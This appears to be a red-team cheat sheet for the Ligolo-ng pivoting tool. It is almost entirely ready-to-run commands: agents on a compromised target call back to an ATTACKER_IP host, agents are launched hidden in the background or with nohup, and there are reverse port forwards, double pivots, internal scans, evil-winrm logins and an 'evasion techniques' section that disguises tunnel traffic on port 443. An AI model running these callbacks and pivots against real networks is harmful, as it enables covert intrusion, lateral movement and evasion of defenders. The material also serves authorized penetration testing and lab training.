← All cheat sheets

LIGOLO-NG

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Ligolo-ng is an advanced tunneling tool using a TUN interface.
Provides VPN-like access to internal networks without SOCKS proxy.

INSTALLATION#

# Download from releases
# https://github.com/nicocha30/ligolo-ng/releases

# Agent (target)
# Proxy (attacker)

SETUP (ATTACKER)#


    

CREATE TUN INTERFACE#

# Create interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Add route for target network (after tunnel established)
sudo ip route add 10.10.10.0/24 dev ligolo

START PROXY#

# Basic start
./proxy -selfcert

# Custom port
./proxy -selfcert -laddr 0.0.0.0:11601

# With certificate
./proxy -certfile cert.pem -keyfile key.pem

PROXY COMMANDS#

# In proxy console:
session                    # List sessions
session <id>              # Select session
ifconfig                  # Show target interfaces
start                     # Start tunnel
stop                      # Stop tunnel
listener_add              # Add port forward listener
listener_list             # List listeners
listener_del              # Delete listener

AGENT (TARGET)#


    

BASIC CONNECTION#

# Connect to proxy
./agent -connect ATTACKER_IP:11601 -ignore-cert

# With retry
./agent -connect ATTACKER_IP:11601 -ignore-cert -retry

WINDOWS AGENT#

# Run agent
agent.exe -connect ATTACKER_IP:11601 -ignore-cert

# Background (PowerShell)
Start-Process -NoNewWindow .\agent.exe -ArgumentList "-connect","ATTACKER_IP:11601","-ignore-cert"

LINUX AGENT#

# Run agent
./agent -connect ATTACKER_IP:11601 -ignore-cert &

# Nohup
nohup ./agent -connect ATTACKER_IP:11601 -ignore-cert &

TUNNELING WORKFLOWS#


    

BASIC TUNNEL SETUP#

# 1. On attacker: Create interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# 2. On attacker: Start proxy
./proxy -selfcert

# 3. On target: Run agent
./agent -connect ATTACKER_IP:11601 -ignore-cert

# 4. In proxy: Select session and start
ligolo-ng » session
ligolo-ng » start

# 5. On attacker: Add route
sudo ip route add 10.10.10.0/24 dev ligolo

# 6. Access internal network directly
nmap -sT 10.10.10.50
ssh user@10.10.10.50

ACCESS INTERNAL SERVICES#

# After tunnel is up:
# Direct access (no proxychains needed!)
curl http://10.10.10.50
nmap -sT -Pn 10.10.10.0/24
evil-winrm -i 10.10.10.50 -u admin -p password
ssh user@10.10.10.100
rdp 10.10.10.50

PORT FORWARDING#


    

REVERSE PORT FORWARD#

# Make target port accessible on attacker
# In proxy console:
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp

# Now attacker:8080 -> target:80

FORWARD TO INTERNAL HOST#

# Forward to internal host via agent
listener_add --addr 0.0.0.0:3389 --to 10.10.10.50:3389 --tcp

# Now attacker:3389 -> internal:3389

LIST/DELETE LISTENERS#

listener_list
listener_del <id>

DOUBLE PIVOT#

# Scenario: Attacker -> Pivot1 -> Pivot2 -> Target

# 1. Setup first tunnel (Attacker <-> Pivot1)
# On attacker:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# On Pivot1:
./agent -connect ATTACKER:11601 -ignore-cert

# In proxy: start tunnel, add route
sudo ip route add 172.16.0.0/24 dev ligolo

# 2. Transfer agent to Pivot2 via Pivot1 network
# Use listener or direct copy

# 3. Setup second tunnel
# Create second interface on attacker
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip link set ligolo2 up

# Start second proxy instance
./proxy -selfcert -laddr 0.0.0.0:11602 -tun ligolo2

# On Pivot2 (via first tunnel):
./agent -connect ATTACKER:11602 -ignore-cert

# Add route for deeper network
sudo ip route add 192.168.1.0/24 dev ligolo2

EVASION TECHNIQUES#

# Use common ports
./proxy -selfcert -laddr 0.0.0.0:443
./agent -connect ATTACKER:443 -ignore-cert

# Use proper certificates
./proxy -certfile legitimate.pem -keyfile legitimate-key.pem

# Agent with retry (persistent)
./agent -connect ATTACKER:11601 -ignore-cert -retry

INTERFACE MANAGEMENT#

# List interfaces
ip link show

# Delete interface
sudo ip link del ligolo

# Multiple interfaces for multiple tunnels
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip tuntap add user $(whoami) mode tun ligolo3

# Routes for different networks
sudo ip route add 10.10.10.0/24 dev ligolo
sudo ip route add 172.16.0.0/24 dev ligolo2
sudo ip route add 192.168.1.0/24 dev ligolo3

TROUBLESHOOTING#

# Check tunnel status
ip addr show ligolo
ip route | grep ligolo

# Verify agent connected
# In proxy: session command shows connected agents

# MTU issues
sudo ip link set ligolo mtu 1400

# Connection refused
# - Check firewall on attacker
# - Verify port is open
# - Check agent can reach proxy

# Route not working
# - Ensure tunnel is started (start command)
# - Verify route is added
# - Check target network is correct

COMPARISON TO CHISEL#

# Ligolo-ng advantages:
# - Direct access (no SOCKS/proxychains)
# - Better performance
# - Full TCP/UDP support
# - VPN-like experience

# Chisel advantages:
# - Single binary both sides
# - Simpler setup
# - HTTP-based (firewall friendly)

QUICK REFERENCE#

# Attacker setup
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

# Target agent
./agent -connect ATTACKER:11601 -ignore-cert

# In proxy console
session                          # Select session
start                           # Start tunnel

# Add route (attacker)
sudo ip route add NETWORK/CIDR dev ligolo

# Direct access
nmap -sT 10.10.10.50            # No proxychains!
ssh user@10.10.10.50